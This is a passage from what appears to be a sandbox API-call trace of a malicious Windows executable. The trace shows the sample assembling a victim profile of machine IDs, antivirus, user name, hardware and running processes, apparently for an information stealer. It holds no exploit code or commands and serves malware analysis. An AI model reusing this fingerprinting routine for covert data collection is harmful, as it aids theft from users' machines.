{c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe ["
[0054.855] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da48
[0054.855] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da08
[0054.855] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.855] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [", lpString2="2328" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328"
[0054.855] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n"
[0054.855] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x210, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0054.856] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- "
[0054.856] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- ", lpString2="svchost.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe"
[0054.856] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe ["
[0054.856] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d978
[0054.856] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da48
[0054.856] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.856] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [", lpString2="1608" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: 